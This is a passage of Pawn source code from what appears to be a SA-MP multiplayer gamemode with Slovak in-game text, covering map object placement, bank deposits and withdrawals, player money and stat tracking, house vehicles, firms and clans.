    if(from<=(224+562) && to>=(224+562)) PlayerObject[playerid][224+562] = CreatePlayerObject(playerid, 5153,581.50146484,-3744.79687500,54.74441528,0.00000000,23.32397461,217.96325684);
    if(from<=(225+562) && to>=(225+562)) PlayerObject[playerid][225+562] = CreatePlayerObject(playerid, 686,579.46728516,-3744.88916016,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(226+562) && to>=(226+562)) PlayerObject[playerid][226+562] = CreatePlayerObject(playerid, 3565,639.10595703,-3754.58081055,49.00000000,345.00000000,0.00000000,334.00000000);
    if(from<=(227+562) && to>=(227+562)) PlayerObject[playerid][227+562] = CreatePlayerObject(playerid, 3565,643.64685059,-3755.85498047,49.00000000,344.99816895,0.00000000,355.99536133);
    if(from<=(228+562) && to>=(228+562)) PlayerObject[playerid][228+562] = CreatePlayerObject(playerid, 3565,649.37561035,-3754.95727539,49.00000000,344.99267578,0.00000000,25.98999023);
    if(from<=(229+562) && to>=(229+562)) PlayerObject[playerid][229+562] = CreatePlayerObject(playerid, 3565,654.49981689,-3750.87524414,49.00000000,344.98718262,0.00000000,53.98815918);
    if(from<=(230+562) && to>=(230+562)) PlayerObject[playerid][230+562] = CreatePlayerObject(playerid, 3565,655.53320312,-3748.12451172,49.00000000,344.98718262,0.00000000,83.98681641);
    if(from<=(231+562) && to>=(231+562)) PlayerObject[playerid][231+562] = CreatePlayerObject(playerid, 3565,654.90734863,-3743.60791016,49.00000000,344.98718262,0.00000000,113.98498535);
    if(from<=(232+562) && to>=(232+562)) PlayerObject[playerid][232+562] = CreatePlayerObject(playerid, 3565,651.73217773,-3739.39746094,49.00000000,344.98718262,0.00000000,145.98315430);
    if(from<=(233+562) && to>=(233+562)) PlayerObject[playerid][233+562] = CreatePlayerObject(playerid, 3565,646.50299072,-3737.30004883,49.00000000,344.98718262,0.00000000,173.98083496);
    if(from<=(234+562) && to>=(234+562)) PlayerObject[playerid][234+562] = CreatePlayerObject(playerid, 3565,640.17230225,-3734.63696289,50.40000153,310.00000000,0.00000000,179.97949219);
    if(from<=(235+562) && to>=(235+562)) PlayerObject[playerid][235+562] = CreatePlayerObject(playerid, 3565,640.18847656,-3736.93945312,49.00000000,344.98718262,0.00000000,179.97802734);
    if(from<=(236+562) && to>=(236+562)) PlayerObject[playerid][236+562] = CreatePlayerObject(playerid, 3565,646.72656250,-3735.00537109,50.40000153,309.99572754,0.00000000,173.97802734);
    if(from<=(237+562) && to>=(237+562)) PlayerObject[playerid][237+562] = CreatePlayerObject(playerid, 3565,653.00280762,-3737.42504883,50.40000153,309.99572754,0.00000000,145.97399902);
    if(from<=(238+562) && to>=(238+562)) PlayerObject[playerid][238+562] = CreatePlayerObject(playerid, 3565,656.85668945,-3742.23193359,50.40000153,309.99572754,0.00000000,114.96987915);
    if(from<=(239+562) && to>=(239+562)) PlayerObject[playerid][239+562] = CreatePlayerObject(playerid, 3565,657.84356689,-3747.92041016,50.40000153,309.99572754,0.00000000,82.96643066);
    if(from<=(240+562) && to>=(240+562)) PlayerObject[playerid][240+562] = CreatePlayerObject(playerid, 3565,656.01409912,-3752.43701172,50.40000153,309.99572754,0.00000000,57.21325684);
    if(from<=(241+562) && to>=(241+562)) PlayerObject[playerid][241+562] = CreatePlayerObject(playerid, 3565,650.50421143,-3756.98120117,50.40000153,309.99572754,0.00000000,26.21130371);
    if(from<=(242+562) && to>=(242+562)) PlayerObject[playerid][242+562] = CreatePlayerObject(playerid, 3565,643.47698975,-3758.21386719,50.40000153,309.99572754,0.00000000,356.20788574);
    if(from<=(243+562) && to>=(243+562)) PlayerObject[playerid][243+562] = CreatePlayerObject(playerid, 3565,638.13684082,-3756.61010742,50.40000153,309.99572754,0.00000000,334.20422363);
    if(from<=(244+562) && to>=(244+562)) PlayerObject[playerid][244+562] = CreatePlayerObject(playerid, 5153,628.39978027,-3737.09228516,55.44441605,0.00000000,23.32397461,109.95825195);
    if(from<=(245+562) && to>=(245+562)) PlayerObject[playerid][245+562] = CreatePlayerObject(playerid, 686,630.44042969,-3738.61621094,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(246+562) && to>=(246+562)) PlayerObject[playerid][246+562] = CreatePlayerObject(playerid, 697,646.97143555,-3751.32250977,50.00000000,0.00000000,0.00000000,117.97485352);
    if(from<=(247+562) && to>=(247+562)) PlayerObject[playerid][247+562] = CreatePlayerObject(playerid, 697,650.60839844,-3749.90087891,50.00000000,0.00000000,0.00000000,167.97119141);
    if(from<=(248+562) && to>=(248+562)) PlayerObject[playerid][248+562] = CreatePlayerObject(playerid, 697,637.64758301,-3742.94189453,50.00000000,0.00000000,0.00000000,171.71997070);
    if(from<=(249+562) && to>=(249+562)) PlayerObject[playerid][249+562] = CreatePlayerObject(playerid, 697,577.85363770,-3795.65747070,50.00000000,0.00000000,0.00000000,232.98706055);
    if(from<=(250+562) && to>=(250+562)) PlayerObject[playerid][250+562] = CreatePlayerObject(playerid, 697,559.57861328,-3794.50561523,50.00000000,0.00000000,0.00000000,302.98706055);
    if(from<=(251+562) && to>=(251+562)) PlayerObject[playerid][251+562] = CreatePlayerObject(playerid, 697,557.50390625,-3790.88867188,50.00000000,0.00000000,0.00000000,202.98339844);
    if(from<=(252+562) && to>=(252+562)) PlayerObject[playerid][252+562] = CreatePlayerObject(playerid, 697,555.47747803,-3757.81127930,50.00000000,0.00000000,0.00000000,302.98339844);
    if(from<=(253+562) && to>=(253+562)) PlayerObject[playerid][253+562] = CreatePlayerObject(playerid, 697,564.07617188,-3793.75683594,50.00000000,0.00000000,0.00000000,232.98706055);
    if(from<=(254+562) && to>=(254+562)) PlayerObject[playerid][254+562] = CreatePlayerObject(playerid, 17094,609.44866943,-3674.43603516,70.00000000,0.00000000,0.00000000,180.00000000);
    if(from<=(255+562) && to>=(255+562)) PlayerObject[playerid][255+562] = CreatePlayerObject(playerid, 3565,697.88848877,-3692.11547852,53.04999924,84.97375488,0.00000000,299.99755859);
    if(from<=(256+562) && to>=(256+562)) PlayerObject[playerid][256+562] = CreatePlayerObject(playerid, 17094,534.76867676,-3701.25170898,70.00000000,0.00000000,0.00000000,268.74450684);
    if(from<=(257+562) && to>=(257+562)) PlayerObject[playerid][257+562] = CreatePlayerObject(playerid, 17094,597.68481445,-3822.50512695,70.00000000,0.00000000,0.00000000,2.24206543);
    if(from<=(258+562) && to>=(258+562)) PlayerObject[playerid][258+562] = CreatePlayerObject(playerid, 17094,639.68572998,-3816.57153320,70.00000000,0.00000000,0.00000000,28.99121094);
    if(from<=(259+562) && to>=(259+562)) PlayerObject[playerid][259+562] = CreatePlayerObject(playerid, 697,634.27734375,-3783.12011719,50.00000000,0.00000000,0.00000000,337.98889160);
    if(from<=(260+562) && to>=(260+562)) PlayerObject[playerid][260+562] = CreatePlayerObject(playerid, 17094,715.05371094,-3730.93066406,70.00000000,0.00000000,0.00000000,93.23742676);
    if(from<=(261+562) && to>=(261+562)) PlayerObject[playerid][261+562] = CreatePlayerObject(playerid, 17094,714.96801758,-3762.68994141,70.00000000,0.00000000,0.00000000,87.23547363);
    if(from<=(262+562) && to>=(262+562)) PlayerObject[playerid][262+562] = CreatePlayerObject(playerid, 17094,569.46911621,-3696.77539062,70.00000000,0.00000000,0.00000000,231.99450684);
    if(from<=(263+562) && to>=(263+562)) PlayerObject[playerid][263+562] = CreatePlayerObject(playerid, 12808,705.09802246,-3641.24072266,-89.21300507,0.00000000,0.00000000,0.00000000);
    if(from<=(264+562) && to>=(264+562)) PlayerObject[playerid][264+562] = CreatePlayerObject(playerid, 697,614.21228027,-3705.28613281,50.00000000,0.00000000,0.00000000,60.45776367);
    if(from<=(265+562) && to>=(265+562)) PlayerObject[playerid][265+562] = CreatePlayerObject(playerid, 697,615.77966309,-3716.88916016,50.00000000,0.00000000,0.00000000,60.45776367);
    if(from<=(266+562) && to>=(266+562)) PlayerObject[playerid][266+562] = CreatePlayerObject(playerid, 697,592.14062500,-3700.08789062,50.00000000,0.00000000,0.00000000,130.45715332);
    if(from<=(267+562) && to>=(267+562)) PlayerObject[playerid][267+562] = CreatePlayerObject(playerid, 697,598.83593750,-3697.89941406,50.00000000,0.00000000,0.00000000,60.45776367);
    if(from<=(268+562) && to>=(268+562)) PlayerObject[playerid][268+562] = CreatePlayerObject(playerid, 697,587.89843750,-3713.67578125,50.00000000,0.00000000,0.00000000,138.45520020);
    if(from<=(269+562) && to>=(269+562)) PlayerObject[playerid][269+562] = CreatePlayerObject(playerid, 697,590.91601562,-3709.42285156,50.00000000,0.00000000,0.00000000,198.45703125);
    if(from<=(270+562) && to>=(270+562)) PlayerObject[playerid][270+562] = CreatePlayerObject(playerid, 18275,588.06054688,-3736.59741211,52.24816895,0.00000000,0.00000000,270.00000000);
    if(from<=(271+562) && to>=(271+562)) PlayerObject[playerid][271+562] = CreatePlayerObject(playerid, 3281,571.68487549,-3722.89599609,51.02076340,0.00000000,0.00000000,48.00000000);
    if(from<=(272+562) && to>=(272+562)) PlayerObject[playerid][272+562] = CreatePlayerObject(playerid, 3281,581.66113281,-3719.70507812,51.02076340,0.00000000,0.00000000,0.00000000);
    if(from<=(273+562) && to>=(273+562)) PlayerObject[playerid][273+562] = CreatePlayerObject(playerid, 3281,577.91503906,-3719.51953125,51.02076340,0.00000000,0.00000000,353.99597168);
    if(from<=(274+562) && to>=(274+562)) PlayerObject[playerid][274+562] = CreatePlayerObject(playerid, 3281,587.68957520,-3727.29956055,51.02076340,0.00000000,0.00000000,88.00000000);
    if(from<=(275+562) && to>=(275+562)) PlayerObject[playerid][275+562] = CreatePlayerObject(playerid, 3281,587.73291016,-3731.08813477,51.02076340,0.00000000,0.00000000,91.99499512);
    if(from<=(276+562) && to>=(276+562)) PlayerObject[playerid][276+562] = CreatePlayerObject(playerid, 3281,585.75762939,-3741.26660156,51.02076340,0.00000000,0.00000000,29.98974609);
    if(from<=(277+562) && to>=(277+562)) PlayerObject[playerid][277+562] = CreatePlayerObject(playerid, 3281,582.15698242,-3742.23657227,51.02076340,0.00000000,0.00000000,183.98559570);
    if(from<=(278+562) && to>=(278+562)) PlayerObject[playerid][278+562] = CreatePlayerObject(playerid, 3281,569.93676758,-3726.16943359,51.02076340,0.00000000,0.00000000,73.98193359);
    if(from<=(279+562) && to>=(279+562)) PlayerObject[playerid][279+562] = CreatePlayerObject(playerid, 18275,586.09765625,-3722.16601562,52.24816895,0.00000000,0.00000000,305.99670410);
    if(from<=(280+562) && to>=(280+562)) PlayerObject[playerid][280+562] = CreatePlayerObject(playerid, 3281,578.30590820,-3742.49365234,51.02076340,0.00000000,0.00000000,183.98254395);
    if(from<=(281+562) && to>=(281+562)) PlayerObject[playerid][281+562] = CreatePlayerObject(playerid, 3281,574.58203125,-3742.22851562,51.02076340,0.00000000,0.00000000,169.98254395);
    if(from<=(282+562) && to>=(282+562)) PlayerObject[playerid][282+562] = CreatePlayerObject(playerid, 3281,574.47363281,-3720.41601562,51.02076340,0.00000000,0.00000000,35.99670410);
    if(from<=(283+562) && to>=(283+562)) PlayerObject[playerid][283+562] = CreatePlayerObject(playerid, 3281,569.99853516,-3736.91918945,51.02076340,0.00000000,0.00000000,109.98049927);
    if(from<=(284+562) && to>=(284+562)) PlayerObject[playerid][284+562] = CreatePlayerObject(playerid, 3281,571.68945312,-3740.33593750,51.02076340,0.00000000,0.00000000,123.97521973);
    return 1;
}

forward BankSetMoney(playerid, money[]);
public BankSetMoney(playerid, money[])
{
    if(IsPlayerConnected(playerid))
    {
        if(!strlen(money)) return ShowPlayerDialog(playerid,Dialog_BankSet,DIALOG_STYLE_INPUT,"Banka","{ff0000}Nezadal si čiastku !{ffffff}\nZadaj čiastku ktoru chceš vložit do banky:","Vložit","Cancel");
        else if(strval(money) > Player[playerid][Money]) return ShowPlayerDialog(playerid,Dialog_BankSet,DIALOG_STYLE_INPUT,"Banka","{ff0000}Nemáš dostatok peňazí !{ffffff}\nZadaj čiastku ktoru chceš vložit do banky:","Vložiť","Cancel");
        else
        {
            GivePlayerACMoney(playerid, -strval(money));
            Player[playerid][Bank] += strval(money);
            new string[128];
            format(string,128,"Uspešne si si vložil do banky %d$ ! Aktuálny stav konta je: %d$.",strval(money),Player[playerid][Bank]);
            SendClientMessage(playerid,COLOR_YELLOW,string);
            Player[playerid][IPIP]=false;
            PlayerCameraBack(playerid);
        }
    }
    return 1;
}

forward BankGetMoney(playerid, money[]);
public BankGetMoney(playerid, money[])
{
    if(IsPlayerConnected(playerid))
    {
        if(!strlen(money)) return ShowPlayerDialog(playerid,Dialog_BankGet,DIALOG_STYLE_INPUT,"Banka","{ff0000}Nezadal si čiastku !{ffffff}\nZadaj čiastku ktoru chceš vybrať z banky:","Vybrat","Cancel");
        else if(Player[playerid][Bank] < strval(money)) return ShowPlayerDialog(playerid,Dialog_BankGet,DIALOG_STYLE_INPUT,"Banka","{ff0000}Nemáš v banke dostatok peňazi !{ffffff}\nZadaj čiastku ktoru chceš vybrať z banky:","Vybrat","Cancel");
        else
        {
            GivePlayerACMoney(playerid, strval(money));
            Player[playerid][Bank] -= strval(money);
            new string[128];
            format(string,128,"Uspešne si si vybral z banky %d$ ! Aktuálny stav konta je: %d$.",strval(money),Player[playerid][Bank]);
            SendClientMessage(playerid,COLOR_YELLOW,string);
            Player[playerid][IPIP]=false;
            PlayerCameraBack(playerid);
        }
    }
    return 1;
}

//-------------------------------------------------------------------------------

forward GivePlayerACMoney(playerid, money);
public GivePlayerACMoney(playerid, money)
{
    if(IsPlayerConnected(playerid))
    {
        ResetPlayerMoney(playerid);
        GivePlayerMoney(playerid, Player[playerid][Money]);
        Player[playerid][Money] += money;
        GivePlayerMoney(playerid, money);
        SetPlayerScore(playerid, GetPlayerACMoney(playerid));
    }
    return 1;
}

forward SetPlayerACMoney(playerid, money);
public SetPlayerACMoney(playerid, money)
{
    if(IsPlayerConnected(playerid))
    {
        ResetPlayerMoney(playerid);
        GivePlayerMoney(playerid, money);
        Player[playerid][Money] = money;
        SetPlayerScore(playerid, money);
    }
    return 1;
}

forward ResetPlayerACMoney(playerid);
public ResetPlayerACMoney(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        ResetPlayerMoney(playerid);
        Player[playerid][Money] = 0;
        SetPlayerScore(playerid, 0);
    }
    return 1;
}

forward KillPlayer(playerid);
public KillPlayer(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SetPlayerHealth(playerid, -1);
    }
    return 1;
}

forward SavePlayerLastStats(playerid);
public SavePlayerLastStats(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        new Float:player_pos_x,
            Float:player_pos_y,
            Float:player_pos_z,
            Float:player_hp,
            Float:player_armour;

        GetPlayerPos(playerid, player_pos_x, player_pos_y, player_pos_z);
        GetPlayerHealth(playerid, player_hp);
        GetPlayerArmour(playerid, player_armour);

        Player[playerid][SavePosX] = player_pos_x;
        Player[playerid][SavePosY] = player_pos_y;
        Player[playerid][SavePosZ] = player_pos_z;
        Player[playerid][SaveHP] = player_hp;
        Player[playerid][SaveArmour] = player_armour;
        Player[playerid][SaveVirtualWorld] = GetPlayerVirtualWorld(playerid);
        Player[playerid][SaveInterior] = GetPlayerInterior(playerid);
        Player[playerid][SaveMoney] = GetPlayerACMoney(playerid);
        Player[playerid][SaveSkin] = Player[playerid][Skin];
    }
}

forward LoadPlayerLastStats(playerid);
public LoadPlayerLastStats(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SetPlayerPos(playerid, Player[playerid][SavePosX], Player[playerid][SavePosY], Player[playerid][SavePosZ]);
        SetPlayerHealth(playerid, Player[playerid][SaveHP]);
        SetPlayerArmour(playerid, Player[playerid][SaveArmour]);
        SetPlayerVirtualWorld(playerid, Player[playerid][SaveVirtualWorld]);
        SetPlayerInterior(playerid, Player[playerid][SaveInterior]);
        SetPlayerACMoney(playerid, Player[playerid][SaveMoney]);
        SetPlayerSkin(playerid, Player[playerid][SaveSkin]);
        Player[playerid][Skin] = Player[playerid][SaveSkin];
        PlayerCameraBack(playerid);

        Player[playerid][LoadPlayerStats] = false;
    }
}

forward CreateBank(bankid, Float:x, Float:y, Float:z);
public CreateBank(bankid, Float:x, Float:y, Float:z)
{
    BankPickup[bankid] = CreatePickup(1274, 23, x, y, z, -1);
    Create3DTextLabel("Banka",COLOR_GREEN_DARK,x,y,z,40,0);
    return 1;
}

forward FormatPlayerInfoBox(playerid, text1[], text2[], time);
public FormatPlayerInfoBox(playerid, text1[], text2[], time)
{
    if(IsPlayerConnected(playerid))
    {
        TextDrawSetString(InfoBoxNadpis[playerid], text1);
        TextDrawHideForPlayer(playerid, InfoBoxNadpis[playerid]);
        TextDrawShowForPlayer(playerid, InfoBoxNadpis[playerid]);

        TextDrawSetString(InfoBoxText[playerid], text2);
        TextDrawHideForPlayer(playerid, InfoBoxText[playerid]);
        TextDrawShowForPlayer(playerid, InfoBoxText[playerid]);

        if(time > 0) SetTimerEx("HideInfoBoxForPlayer", time, 0, "i", playerid);
    }
    return 1;
}

forward CreateHouseVehicle(series,number,vehicleid,playerid);
public CreateHouseVehicle(series,number,vehicleid,playerid)
{
    new way[32];
    format(way,32,"SL/Server/Houses/House%d.cfg",number);

    new v_color1[16];
    format(v_color1,16,"V%d_color1",series);
    new v_color2[16];
    format(v_color2,16,"V%d_color2",series);

    if(playerid != 9999)
    {
        new v_name[16];
        format(v_name,16,"V%d_name",series);
        dini_Set(way,v_name,VehicleName[vehicleid-400]);

        new v_id[16];
        format(v_id,16,"V%d_id",series);
        dini_IntSet(way,v_id,vehicleid);

        new v_sell[16];
        format(v_sell,16,"V%d_sell",series);
        dini_IntSet(way,v_sell,GetHouseVehiclePrice(vehicleid)/4*3);
        GivePlayerACMoney(playerid,-GetHouseVehiclePrice(vehicleid));

        dini_IntSet(way,v_color1,random(126));
        dini_IntSet(way,v_color2,random(126));

        new string[128];
        format(string,128,"Kupil si si auto %s za %d$ !",dini_Get(way,v_name),GetHouseVehiclePrice(vehicleid));
        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",string,"OK","Cancel");
    }

    HV_x2[series][number] = HV_x[series][number];
    HV_y2[series][number] = HV_y[series][number];
    HV_z2[series][number] = HV_z[series][number];
    HV_a2[series][number] = HV_a[series][number];

    Car[series][number] = CreateVehicle(vehicleid, HV_x[series][number], HV_y[series][number], HV_z[series][number], HV_a[series][number], dini_Int(way,v_color1), dini_Int(way,v_color2), 300);
    ResetVehicleFuel(Car[series][number]);
    new v_spz[16];
    format(v_spz,16,"V%d_spz",series);
    SetVehicleNumberPlate(Car[series][number], dini_Get(way,v_spz));
    SetVehicleToRespawn(Car[series][number]);

    Car_State[series][number] = true;

    SetVehicleVirtualWorld(Car[series][number],0);

    VehicleStatus[Car[series][number]] = false;

    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) SetVehicleParamsForPlayer(Car[series][number], i, 0, 0);
    }
    return 1;
}

forward SetHouseVehicleSpawnPos(number, house_id, Float:x, Float:y, Float:z, Float:a);
public SetHouseVehicleSpawnPos(number, house_id, Float:x, Float:y, Float:z, Float:a)
{
    HV_x[number][house_id]=x;
    HV_y[number][house_id]=y;
    HV_z[number][house_id]=z;
    HV_a[number][house_id]=a;
    return 1;
}


forward SetVehicleFuel(vehicleid, vehiclefuel);
public SetVehicleFuel(vehicleid, vehiclefuel)
{
    VehicleFuel[vehicleid]+=vehiclefuel;
    return 1;
}

forward ResetVehicleFuel(vehicleid);
public ResetVehicleFuel(vehicleid)
{
    VehicleFuel[vehicleid]=MAX_VEHICLE_FUEL;
    return 1;
}

forward SetPlayerRespect(playerid, Float:respect);
public SetPlayerRespect(playerid, Float:respect)
{
    if(IsPlayerConnected(playerid))
    {
        if(respect < 1) respect=1;
        if(respect > 100) respect=100;

        for(new td=0; td<=Server[ConP]; td++)
        {
            if(IsPlayerConnected(td)) if(!IsPlayerNPC(td)) TextDrawHideForPlayer(playerid, PRespectTD_Line[td]);
        }
        TextDrawDestroy(PRespectTD_Line[playerid]);

        new Float:nrespect = 1.19*respect;

        PRespectTD_Line[playerid] = TextDrawCreate(501 + nrespect, 302.0000, " "); //X: 502-620
        TextDrawBackgroundColor(PRespectTD_Line[playerid], 255);
        TextDrawFont(PRespectTD_Line[playerid], 2);
        TextDrawLetterSize(PRespectTD_Line[playerid], 0.500000, 1.100000);
        TextDrawColor(PRespectTD_Line[playerid], -1);
        TextDrawSetOutline(PRespectTD_Line[playerid], 0);
        TextDrawSetProportional(PRespectTD_Line[playerid], 1);
        TextDrawSetShadow(PRespectTD_Line[playerid], 0);
        TextDrawUseBox(PRespectTD_Line[playerid], 1);
        if(respect < 99.98) TextDrawBoxColor(PRespectTD_Line[playerid], 0x6060FFFF);
        else                 TextDrawBoxColor(PRespectTD_Line[playerid], 0x2020FFFF);
        TextDrawTextSize(PRespectTD_Line[playerid], 498.000000, -5.000000);

        if(Player[playerid][ClanP] != 9999)
        {
            if(Player[playerid][ClanRank] == 0)
            {
                new oldmaxplayers = Clan[Player[playerid][ClanP]][MaxPlayers];

                     if(Player[playerid][Respect] >= 99.98) Clan[Player[playerid][ClanP]][MaxPlayers]=12;
                else if(Player[playerid][Respect] >= 90)  Clan[Player[playerid][ClanP]][MaxPlayers]=11;
                else if(Player[playerid][Respect] >= 80)  Clan[Player[playerid][ClanP]][MaxPlayers]=10;
                else if(Player[playerid][Respect] >= 70)  Clan[Player[playerid][ClanP]][MaxPlayers]=9;
                else if(Player[playerid][Respect] >= 60)  Clan[Player[playerid][ClanP]][MaxPlayers]=8;
                else if(Player[playerid][Respect] >= 50)  Clan[Player[playerid][ClanP]][MaxPlayers]=7;
                else if(Player[playerid][Respect] >= 40)  Clan[Player[playerid][ClanP]][MaxPlayers]=6;
                else if(Player[playerid][Respect] >= 30)  Clan[Player[playerid][ClanP]][MaxPlayers]=5;
                else                                      Clan[Player[playerid][ClanP]][MaxPlayers]=4;

                if(Clan[Player[playerid][ClanP]][MaxPlayers] != oldmaxplayers)
                {
                    if(Player[playerid][IsTDsHideForPlayer] == false)
                    {
                        new RSP_C_string[128];
                        format(RSP_C_string,128, "~w~Teraz môzes mat v clanu az ~y~%d~w~ hracov!", Clan[Player[playerid][ClanP]][MaxPlayers]);
                        FormatPlayerInfoBox(playerid, "~g~Clan", RSP_C_string, 3000);
                    }
                }
            }
        }

        if(Player[playerid][IsTDsHideForPlayer] == false)
        {
            TextDrawShowForPlayer(playerid, PRespectTD_Line[playerid]);
        }
    }
    return 1;
}

forward SetPlayerSkill(playerid, Float:skill);
public SetPlayerSkill(playerid, Float:skill)
{
    if(IsPlayerConnected(playerid))
    {
        if(skill < 1.0) skill=1.000000;
        if(skill > 99.9) skill=99.900000;
    
        new fnc_skill=1;
        for(new s=1; s<1000; s++)
        {
            if(s <= (skill * 10)) fnc_skill=s;
        }

        SetPlayerSkillLevel(playerid, WEAPONSKILL_PISTOL, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_PISTOL_SILENCED, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_DESERT_EAGLE, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_SHOTGUN, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_SAWNOFF_SHOTGUN, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_SPAS12_SHOTGUN, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_MICRO_UZI, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_MP5, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_AK47, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_M4, fnc_skill);
        SetPlayerSkillLevel(playerid, WEAPONSKILL_SNIPERRIFLE, fnc_skill);

        Player[playerid][Skill] = skill;
        
        for(new td=0; td<=Server[ConP]; td++)
        {
            if(IsPlayerConnected(td)) if(!IsPlayerNPC(td)) TextDrawHideForPlayer(playerid, PSkillTD_Line[td]);
        }
        
        TextDrawDestroy(PSkillTD_Line[playerid]);

        new Float:nskill = 1.19*skill;

        PSkillTD_Line[playerid] = TextDrawCreate(501 + nskill, 322.0000, " "); //X: 502-620
        TextDrawBackgroundColor(PSkillTD_Line[playerid], 255);
        TextDrawFont(PSkillTD_Line[playerid], 2);
        TextDrawLetterSize(PSkillTD_Line[playerid], 0.500000, 1.100000);
        TextDrawColor(PSkillTD_Line[playerid], -1);
        TextDrawSetOutline(PSkillTD_Line[playerid], 0);
        TextDrawSetProportional(PSkillTD_Line[playerid], 1);
        TextDrawSetShadow(PSkillTD_Line[playerid], 0);
        TextDrawUseBox(PSkillTD_Line[playerid], 1);
        if(skill < 99.9) TextDrawBoxColor(PSkillTD_Line[playerid], 0xFFFF70FF);
        else             TextDrawBoxColor(PSkillTD_Line[playerid], 0xEFEF00FF);
        TextDrawTextSize(PSkillTD_Line[playerid], 498.000000, -5.000000);

        if(Player[playerid][IsTDsHideForPlayer] == false)
        {
            TextDrawShowForPlayer(playerid, PSkillTD_Line[playerid]);
        }
    }
    return 1;
}

forward CreateFirm(firmid, Float:x, Float:y, Float:z, price, type);

public CreateFirm(firmid, Float:x, Float:y, Float:z, price, type)
{
    Firm[firmid][Pickup] = CreatePickup(1239,23,x,y,z,0);
    Firm[firmid][Type] = type;
    Firm[firmid][fpX] = x;
    Firm[firmid][fpY] = y;
    Firm[firmid][fpZ] = z;
    Firm[firmid][Price] = price;
    Firm[firmid][VirtualWorld] = (10000 + firmid);

    new fway[40];
    format(fway,40, "SL/Server/Firms/Firm%d.cfg", firmid);

    if(dini_Exists(fway))
    {
        Firm[firmid][Trzba] = dini_Int(fway, "Trzba");
        Firm[firmid][State] = dini_Int(fway, "State");
    }
    else
    {
        dini_Create(fway);
        dini_IntSet(fway, "State", 0);
        dini_Set   (fway, "Majitel", "-none-");
        dini_Set   (fway, "Name", "-none-");
        dini_IntSet(fway, "Trzba", (100000+random(300000)));
        dini_IntSet(fway, "Type", type);
        dini_IntSet(fway, "Items", 5);

        for(new item=0; item<10; item++)
        {
            new i1=5000, i2[32]=" ", i3=0;

            if(type == 0)
            {
                switch(random(5))
                {
                    case 0: i1=7000;
                    case 1: i1=7500;
                    case 2: i1=8000;
                    case 3: i1=8500;
                    default: i1=9000;
                }
            }
            else if(type == 1) i1=20000;
            else if(type == 2)
            {
                i1=5000;
                format(i2,64, "Farba %d", item);
                switch(random(126))
                {
                    case 0:      i3=0;
                    case 1..125: i3=random(126);
                }
            }
            else if(type == 3) i1=10000;
            else if(type == 4)
            {
                if(item == 0) i1=8000;
                if(item == 1) i1=10000;
                if(item == 2) i1=5000;
                if(item == 3) i1=10000;
                if(item == 4) i1=17500;
                if(item == 5) i1=12000;
            }
            else if((type >= 5) && (type <= 7)) i1=100;
            else if(type == 8)
            {
                if(item == 0) i3=222;
                if(item == 1) i3=224;
                if(item == 2) i3=226;
                if(item == 3) i3=227;
                if(item == 4) i3=228;
                if(item == 5) i3=230;
                if(item == 6) i3=231;
                if(item == 7) i3=216;
                i1=1500;
                
                format(i2, 32, "%s", WeaponName(i3-200));
            }
            
            new item_string[16];
            
            format(item_string, 16, "Item%d_price", item);
            dini_IntSet(fway, item_string, i1);
            format(item_string, 16, "Item%d_name", item);
            dini_Set   (fway, item_string, i2);
            format(item_string, 16, "Item%d_id", item);
            dini_IntSet(fway, item_string, i3);

        }

        if(type >= 5 && type <= 7) dini_IntSet(fway, "Item0_price", 50);

        Firm[firmid][Trzba] = dini_Int(fway, "Trzba");
        Firm[firmid][State] = 0;
    }

    //-----------------------------------

    if(Firm[firmid][State] == 0) Firm[firmid][Text3D] = Create3DTextLabel("[ Firma ]\nVoľna firma", COLOR_BLUE_LIGHT, x, y, z, 40, 0);
    else
    {
        new string[256];
        format(string,256, "[ Firma ]\n%s\nMajiteľ: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), dini_Int(fway, "Trzba"));
        Firm[firmid][Text3D] = Create3DTextLabel(string, COLOR_BLUE_LIGHT, x, y, z, 40, 0);
    }
    return 1;
}

forward CreateClan(clanid, Float:eX, Float:eY, Float:eZ);
public CreateClan(clanid, Float:eX, Float:eY, Float:eZ)
{
    Clan[clanid][Pickup] = CreatePickup(1314, 23, eX, eY, eZ, 0);
    Clan[clanid][cpeX] = eX;
    Clan[clanid][cpeY] = eY;
    Clan[clanid][cpeZ] = eZ;

    new cway[64];
    format(cway,64, "SL/Server/Clans/Clan%d.cfg", clanid);

    new c3Dstring[150];

    if(dini_Exists(cway))
    {
        Clan[clanid][State] = dini_Int(cway, "State");
        Clan[clanid][Players] = dini_Int(cway, "Players");
        Clan[clanid][Vehicles] = dini_Int(cway, "Vehicles");
        Clan[clanid][WeaponSlots] = dini_Int(cway, "WeaponSlots");
        Clan[clanid][cInterior] = dini_Int(cway, "Interior");
        Clan[clanid][Bank] = dini_Int(cway, "Bank");
        Clan[clanid][Kills] = dini_Int(cway, "Kills");
        Clan[clanid][Color] = dini_Int(cway, "Color");
        Clan[clanid][MaxPlayers] = dini_Int(cway, "MaxPlayers");

        for(new s=0; s<Clan[clanid][Vehicles]; s++)
        {
            new V_id[16];
            format(V_id,16, "V%d_id", s);

            if(dini_Int(cway, V_id) != 0)
            {
                new V_color1[16];
                format(V_color1,16, "V%d_color1", s);
                new V_color2[16];
                format(V_color2,16, "V%d_color2", s);

                ClanVehicle[s][clanid] = CreateVehicle(dini_Int(cway, V_id), CV_x[s][clanid], CV_y[s][clanid], CV_z[s][clanid], CV_a[s][clanid], dini_Int(cway, V_color1), dini_Int(cway, V_color2), 300);

                new V_neons[16];
                format(V_neons,16, "V%d_neons", s);

